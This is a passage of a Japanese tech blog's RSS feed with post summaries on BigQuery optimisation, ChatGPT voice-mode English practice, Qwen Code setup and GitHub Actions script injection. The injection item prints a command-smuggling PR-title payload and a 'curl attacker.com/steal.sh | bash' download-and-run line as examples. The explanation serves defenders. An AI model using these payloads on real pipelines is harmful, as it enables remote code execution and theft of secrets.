&lt;p&gt;OpenHands は SWE-bench で高スコアを出しており、エージェントスキャフォールディングの力で同じ 30B モデルでも改善されるのでは？という仮説を検証するために試した。&lt;/p&gt;</description></item><item><title>BigQuery ARRAY/STRUCT で速度3倍・コスト25%削減 --- JOINを消す「データの持ち方」最適化</title><link>https://hdknr.github.io/blogs/posts/2026/03/bigquery-array/struct-%E3%81%A7%E9%80%9F%E5%BA%A63%E5%80%8D%E3%82%B3%E3%82%B9%E3%83%8825%E5%89%8A%E6%B8%9B---join%E3%82%92%E6%B6%88%E3%81%99%E3%83%87%E3%83%BC%E3%82%BF%E3%81%AE%E6%8C%81%E3%81%A1%E6%96%B9%E6%9C%80%E9%81%A9%E5%8C%96/</link><pubDate>Fri, 06 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/bigquery-array/struct-%E3%81%A7%E9%80%9F%E5%BA%A63%E5%80%8D%E3%82%B3%E3%82%B9%E3%83%8825%E5%89%8A%E6%B8%9B---join%E3%82%92%E6%B6%88%E3%81%99%E3%83%87%E3%83%BC%E3%82%BF%E3%81%AE%E6%8C%81%E3%81%A1%E6%96%B9%E6%9C%80%E9%81%A9%E5%8C%96/</guid><description>&lt;h1 id="bigquery-arraystruct-で速度-3-倍コスト-25-削減--join-を消すデータの持ち方最適化"&gt;BigQuery ARRAY/STRUCT で速度 3 倍・コスト 25% 削減 &amp;mdash; JOIN を消す「データの持ち方」最適化&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/yoshitake_l/status/2029521392534991282"&gt;@yoshitake_l 氏が X で共有&lt;/a&gt;した、BigQuery のデータ構造変更による劇的な改善結果が注目を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;BigQuery でデータの持ち方を変えるだけで、クエリ処理速度を 3 倍に、クエリコストを 25% 削減できたので共有。試したクエリは、1:N の 2 つのテーブルの N 側を集計し、1 側と JOIN するシンプルなもの。使ったのは、ARRAY と STRUCT というデータ構造です。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;「データの持ち方を変えるだけ」で速度 3 倍・コスト 25% 削減。SQL のチューニングではなく、&lt;strong&gt;テーブル設計の変更&lt;/strong&gt;でこの結果を得ています。本記事では、なぜ ARRAY/STRUCT が JOIN より高速でコストが低いのか、その技術的な仕組みと実践方法を解説します。&lt;/p&gt;
&lt;h2 id="なぜ-join-は遅くて高いのか"&gt;なぜ JOIN は遅くて高いのか&lt;/h2&gt;
&lt;h3 id="bigquery-の分散処理とシャッフル"&gt;BigQuery の分散処理とシャッフル&lt;/h3&gt;
&lt;p&gt;BigQuery の課金と速度の問題を理解するには、まず分散処理の仕組みを知る必要があります。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;BigQuery の JOIN 処理の流れ:
1. テーブル A を複数のスロット（ワーカーノード）に分散読み込み
2. テーブル B を複数のスロットに分散読み込み
3. JOIN キーに基づいて、データを適切なスロットに「再配置」
→ これが「シャッフル」
4. 各スロットでマッチング処理を実行
5. 結果を統合
問題:
ステップ 3 のシャッフルが最大のボトルネック
├── スロット間のネットワーク通信が発生
├── 大量の中間データが移動
└── 通信待ちの間、スロットが遊休状態になる
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;BigQuery のオンデマンド課金は「スキャンしたバイト数」に比例します。JOIN では&lt;strong&gt;両方のテーブルのキー列と必要列をすべてスキャン&lt;/strong&gt;するため、スキャン量が増えます。さらに、JOIN に必要なシャッフル処理が実行時間を大幅に伸ばします。&lt;/p&gt;</description></item><item><title>ChatGPT音声モード × 14日間英会話特訓 — 詰まった言葉がスラスラ出る4つの黄金プロンプト</title><link>https://hdknr.github.io/blogs/posts/2026/03/chatgpt%E9%9F%B3%E5%A3%B0%E3%83%A2%E3%83%BC%E3%83%89-14%E6%97%A5%E9%96%93%E8%8B%B1%E4%BC%9A%E8%A9%B1%E7%89%B9%E8%A8%93-%E8%A9%B0%E3%81%BE%E3%81%A3%E3%81%9F%E8%A8%80%E8%91%89%E3%81%8C%E3%82%B9%E3%83%A9%E3%82%B9%E3%83%A9%E5%87%BA%E3%82%8B4%E3%81%A4%E3%81%AE%E9%BB%84%E9%87%91%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%88/</link><pubDate>Fri, 06 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/chatgpt%E9%9F%B3%E5%A3%B0%E3%83%A2%E3%83%BC%E3%83%89-14%E6%97%A5%E9%96%93%E8%8B%B1%E4%BC%9A%E8%A9%B1%E7%89%B9%E8%A8%93-%E8%A9%B0%E3%81%BE%E3%81%A3%E3%81%9F%E8%A8%80%E8%91%89%E3%81%8C%E3%82%B9%E3%83%A9%E3%82%B9%E3%83%A9%E5%87%BA%E3%82%8B4%E3%81%A4%E3%81%AE%E9%BB%84%E9%87%91%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%88/</guid><description>&lt;h1 id="chatgpt-音声モード--14-日間英会話特訓--詰まった言葉がスラスラ出る-4-つの黄金プロンプト"&gt;ChatGPT 音声モード × 14 日間英会話特訓 — 詰まった言葉がスラスラ出る 4 つの黄金プロンプト&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/technocrat_s/status/2029343618880938494"&gt;@technocrat_s 氏のポスト&lt;/a&gt;で紹介された記事が話題になっています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;【検証】ChatGPTと14日間、ガチの「英会話」特訓。詰まった言葉がスラスラ出る黄金プロンプト4つ&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://www.lifehacker.jp/article/2603improve-speaking-skills-using-chatgpt-voice-mode-prompts/"&gt;ライフハッカー・ジャパンの記事&lt;/a&gt;（原文: &lt;a href="https://www.makeuseof.com/improve-speaking-skills-using-chatgpt-voice-mode-prompts/"&gt;MakeUseOf / Saikat Basu&lt;/a&gt;）は、在宅勤務でスピーキング力が錆びついたライターが ChatGPT の高度音声モード（Advanced Voice Mode）をコーチに見立て、14 日間の集中特訓を行った検証記事です。思考と発話の間の「0.5 秒の遅れ」を消すために設計された 4 つのプロンプトと、その結果を具体的に報告しています。&lt;/p&gt;
&lt;h2 id="問題--考えてから話す05-秒の壁"&gt;問題 — 「考えてから話す」0.5 秒の壁&lt;/h2&gt;
&lt;p&gt;著者の Saikat Basu 氏は MakeUseOf の元編集者で、MBA を持つテクノロジーライターです。在宅勤務が長くなるにつれ、ビデオ会議やチームコールで英語の発話に遅れが生じるようになりました。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;在宅ワーカーのスピーキング劣化:
思考 → [0.5 秒の遅れ] → 発話
↑
・フィラー語（um, uh）の増加
・語彙が出てこない
・文法ミスの自己修正ができない
・発音の曖昧化
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;「知っている英語」と「口から出る英語」の間にギャップがある — これは日本人英語学習者にも共通する課題です。文法や語彙の知識があっても、リアルタイムの発話ではその知識を引き出せない。Basu 氏はこのギャップを ChatGPT の音声モードで埋められるかを検証しました。&lt;/p&gt;
&lt;h2 id="chatgpt-高度音声モード--ai-が聞いて話して直す"&gt;ChatGPT 高度音声モード — AI が「聞いて、話して、直す」&lt;/h2&gt;
&lt;p&gt;ChatGPT の Advanced Voice Mode は 2024 年後半に GPT-4o ベースで登場し、2025 年以降は無料ユーザーにも開放されています。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特徴&lt;/th&gt;
&lt;th&gt;従来のテキストチャット&lt;/th&gt;
&lt;th&gt;高度音声モード&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;応答速度&lt;/td&gt;
&lt;td&gt;テキスト入力→テキスト出力&lt;/td&gt;
&lt;td&gt;リアルタイム音声対話&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;発音フィードバック&lt;/td&gt;
&lt;td&gt;不可能&lt;/td&gt;
&lt;td&gt;母音・子音レベルで指摘可能&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;会話の自然さ&lt;/td&gt;
&lt;td&gt;ターン制&lt;/td&gt;
&lt;td&gt;割り込み・相槌あり&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;感情表現&lt;/td&gt;
&lt;td&gt;なし&lt;/td&gt;
&lt;td&gt;9 種類のアクセント・声質選択&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;練習の心理的障壁&lt;/td&gt;
&lt;td&gt;低い&lt;/td&gt;
&lt;td&gt;低い（相手が AI なので恥ずかしくない）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;従来の英会話レッスンとの最大の違いは&lt;strong&gt;予約不要・24 時間・何度でもやり直せる&lt;/strong&gt;ことです。また「相手が AI なので失敗が恥ずかしくない」という心理的安全性も、スピーキング練習では非常に重要です。&lt;/p&gt;</description></item><item><title>GitHub Actions スクリプトインジェクション完全解説 — ${{ }} を run に書いた瞬間、攻撃者にシェルを渡している</title><link>https://hdknr.github.io/blogs/posts/2026/03/github-actions-%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88%E3%82%A4%E3%83%B3%E3%82%B8%E3%82%A7%E3%82%AF%E3%82%B7%E3%83%A7%E3%83%B3%E5%AE%8C%E5%85%A8%E8%A7%A3%E8%AA%AC-%E3%82%92-run-%E3%81%AB%E6%9B%B8%E3%81%84%E3%81%9F%E7%9E%AC%E9%96%93%E6%94%BB%E6%92%83%E8%80%85%E3%81%AB%E3%82%B7%E3%82%A7%E3%83%AB%E3%82%92%E6%B8%A1%E3%81%97%E3%81%A6%E3%81%84%E3%82%8B/</link><pubDate>Fri, 06 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/github-actions-%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88%E3%82%A4%E3%83%B3%E3%82%B8%E3%82%A7%E3%82%AF%E3%82%B7%E3%83%A7%E3%83%B3%E5%AE%8C%E5%85%A8%E8%A7%A3%E8%AA%AC-%E3%82%92-run-%E3%81%AB%E6%9B%B8%E3%81%84%E3%81%9F%E7%9E%AC%E9%96%93%E6%94%BB%E6%92%83%E8%80%85%E3%81%AB%E3%82%B7%E3%82%A7%E3%83%AB%E3%82%92%E6%B8%A1%E3%81%97%E3%81%A6%E3%81%84%E3%82%8B/</guid><description>&lt;h1 id="github-actions-スクリプトインジェクション完全解説----を-run-に書いた瞬間攻撃者にシェルを渡している"&gt;GitHub Actions スクリプトインジェクション完全解説 — &lt;code&gt;${{ }}&lt;/code&gt; を &lt;code&gt;run&lt;/code&gt; に書いた瞬間、攻撃者にシェルを渡している&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/tmknom/status/2029512334218244121"&gt;『GitHub CI/CD実践ガイド』著者の tmknom 氏（@tmknom）&lt;/a&gt;が、GitHub Actions のスクリプトインジェクションを解説した Zenn 記事を引用し、こう呼びかけています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;はい、というわけでしてね。みんな『GitHub CI/CD実践ガイド』を、穴が開くまで読んでくださいね！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;引用されている &lt;a href="https://zenn.dev/kou_pg_0131/articles/gha-script-injection"&gt;kou_pg_0131 氏の Zenn 記事&lt;/a&gt;は、GitHub Actions の &lt;code&gt;run&lt;/code&gt; ステップで &lt;code&gt;${{ }}&lt;/code&gt; テンプレート式を使う際のインジェクション脆弱性を実演付きで解説した記事です。2025〜2026年にかけて GitHub Actions のサプライチェーン攻撃が急増しており、この知識はすべての開発者にとって必須になっています。&lt;/p&gt;
&lt;h2 id="何が危険なのか--30秒で理解する"&gt;何が危険なのか — 30秒で理解する&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 危険なコード&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#f92672"&gt;run&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;echo &amp;#34;PR title is ${{ github.event.pull_request.title }}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;一見無害なこのコード。しかし攻撃者が PR タイトルに以下を入力すると、&lt;strong&gt;任意のコマンドが実行&lt;/strong&gt;されます。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;#34;; echo INJECTED&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;展開後のシェルコマンドは以下になります。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo &lt;span style="color:#e6db74"&gt;&amp;#34;PR title is &amp;#34;&lt;/span&gt;; echo INJECTED&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;セミコロンでコマンドが分割され、&lt;code&gt;echo INJECTED&lt;/code&gt; が実行されます。&lt;code&gt;echo&lt;/code&gt; の代わりに &lt;code&gt;curl attacker.com/steal.sh | bash&lt;/code&gt; を書けば、CI/CD ランナー上で&lt;strong&gt;リバースシェルの確立、シークレットの窃取、リポジトリの改ざん&lt;/strong&gt;が可能です。&lt;/p&gt;</description></item><item><title>Qwen Code ローカル運用実践記 — Mac Studio M3 Ultra で Ollama + qwen3-coder:30b を動かして分かったこと</title><link>https://hdknr.github.io/blogs/posts/2026/03/qwen-code-%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%AB%E9%81%8B%E7%94%A8%E5%AE%9F%E8%B7%B5%E8%A8%98-mac-studio-m3-ultra-%E3%81%A7-ollama--qwen3-coder30b-%E3%82%92%E5%8B%95%E3%81%8B%E3%81%97%E3%81%A6%E5%88%86%E3%81%8B%E3%81%A3%E3%81%9F%E3%81%93%E3%81%A8/</link><pubDate>Fri, 06 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/qwen-code-%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%AB%E9%81%8B%E7%94%A8%E5%AE%9F%E8%B7%B5%E8%A8%98-mac-studio-m3-ultra-%E3%81%A7-ollama--qwen3-coder30b-%E3%82%92%E5%8B%95%E3%81%8B%E3%81%97%E3%81%A6%E5%88%86%E3%81%8B%E3%81%A3%E3%81%9F%E3%81%93%E3%81%A8/</guid><description>&lt;h1 id="qwen-code-ローカル運用実践記--mac-studio-m3-ultra-で-ollama--qwen3-coder30b-を動かして分かったこと"&gt;Qwen Code ローカル運用実践記 — Mac Studio M3 Ultra で Ollama + qwen3-coder:30b を動かして分かったこと&lt;/h1&gt;
&lt;p&gt;Qwen Code（Alibaba Cloud Qwen チームが開発したオープンソース CLI コーディングエージェント）を Mac Studio M3 Ultra（96GB）上で Ollama と組み合わせてローカル運用を試みた実践記録です。環境構築からツール呼び出しの限界まで、実際に手を動かして検証した結果をまとめます。&lt;/p&gt;
&lt;h2 id="背景と目的"&gt;背景と目的&lt;/h2&gt;
&lt;p&gt;Claude Code は強力ですが、コードがクラウドに送信されるためプライバシーの懸念があります。Qwen Code は Apache 2.0 ライセンスのオープンソースで、Ollama と組み合わせれば完全ローカルで動作するため、機密コードベースでの利用が期待されます。&lt;/p&gt;
&lt;p&gt;本記事の検証環境:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;スペック&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;マシン&lt;/td&gt;
&lt;td&gt;Mac Studio M3 Ultra&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;メモリ&lt;/td&gt;
&lt;td&gt;96GB ユニファイドメモリ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;メモリ帯域&lt;/td&gt;
&lt;td&gt;800 GB/s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Ollama&lt;/td&gt;
&lt;td&gt;v0.15.6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Qwen Code&lt;/td&gt;
&lt;td&gt;v0.12.0（Fork からローカルビルド）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;モデル&lt;/td&gt;
&lt;td&gt;qwen3-coder:30b (18GB)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="ステップ1-リポジトリの-fork-と-clone"&gt;ステップ1: リポジトリの Fork と Clone&lt;/h2&gt;
&lt;p&gt;調査・改造を前提に、まず &lt;a href="https://github.com/QwenLM/qwen-code"&gt;QwenLM/qwen-code&lt;/a&gt; を Fork しました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Fork（GitHub CLI）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gh repo fork QwenLM/qwen-code --clone&lt;span style="color:#f92672"&gt;=&lt;/span&gt;false
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# devel ブランチを作成してデフォルトに設定&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# main は upstream との sync 用にクリーンに保つ&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gh api repos/hdknr/qwen-code/git/refs &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -f ref&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;refs/heads/devel&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -f sha&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;gh api repos/hdknr/qwen-code/git/ref/heads/main --jq &lt;span style="color:#e6db74"&gt;&amp;#39;.object.sha&amp;#39;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gh repo edit hdknr/qwen-code --default-branch devel
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Clone&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mkdir -p ~/Projects/qwen
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd ~/Projects/qwen
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gh repo clone hdknr/qwen-code
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;ブランチ戦略:&lt;/p&gt;</description></item><item><title>Qwen Code 初心者ガイド — 無料で使えるオープンソース CLI コーディングエージェント</title><link>https://hdknr.github.io/blogs/posts/2026/03/qwen-code-%E5%88%9D%E5%BF%83%E8%80%85%E3%82%AC%E3%82%A4%E3%83%89-%E7%84%A1%E6%96%99%E3%81%A7%E4%BD%BF%E3%81%88%E3%82%8B%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9-cli-%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88/</link><pubDate>Fri, 06 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/qwen-code-%E5%88%9D%E5%BF%83%E8%80%85%E3%82%AC%E3%82%A4%E3%83%89-%E7%84%A1%E6%96%99%E3%81%A7%E4%BD%BF%E3%81%88%E3%82%8B%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9-cli-%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88/</guid><description>&lt;h1 id="qwen-code-初心者ガイド--無料で使えるオープンソース-cli-コーディングエージェント"&gt;Qwen Code 初心者ガイド — 無料で使えるオープンソース CLI コーディングエージェント&lt;/h1&gt;
&lt;p&gt;Claude Code の無料オープンソース代替として注目を集めている &lt;a href="https://github.com/QwenLM/qwen-code"&gt;Qwen Code&lt;/a&gt;。Alibaba Cloud の Qwen チームが開発したターミナルベースの AI コーディングエージェントで、1日1,000リクエストまで無料で利用できます。この記事では、初めて使う人にもわかるように、インストールから実践的な使い方まで解説します。&lt;/p&gt;
&lt;h2 id="qwen-code-とは何か"&gt;Qwen Code とは何か&lt;/h2&gt;
&lt;p&gt;Qwen Code は、ターミナル（コマンドライン）で動く AI コーディングアシスタントです。自然言語で指示を出すと、コードの理解・生成・編集・実行を自律的に行います。&lt;/p&gt;
&lt;h3 id="一言で言うと"&gt;一言で言うと&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;「無料で使える Claude Code のオープンソース版」&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="claude-code-との違い"&gt;Claude Code との違い&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;観点&lt;/th&gt;
&lt;th&gt;Qwen Code&lt;/th&gt;
&lt;th&gt;Claude Code&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;料金&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;無料（OAuth で1日1,000リクエスト）&lt;/td&gt;
&lt;td&gt;従量課金（API 使用量に応じて）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ライセンス&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Apache 2.0（オープンソース）&lt;/td&gt;
&lt;td&gt;プロプライエタリ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ベースモデル&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Qwen3-Coder&lt;/td&gt;
&lt;td&gt;Claude&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;インターフェース&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ターミナル CLI&lt;/td&gt;
&lt;td&gt;ターミナル CLI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;IDE 統合&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;VS Code, Zed, JetBrains&lt;/td&gt;
&lt;td&gt;VS Code, JetBrains&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
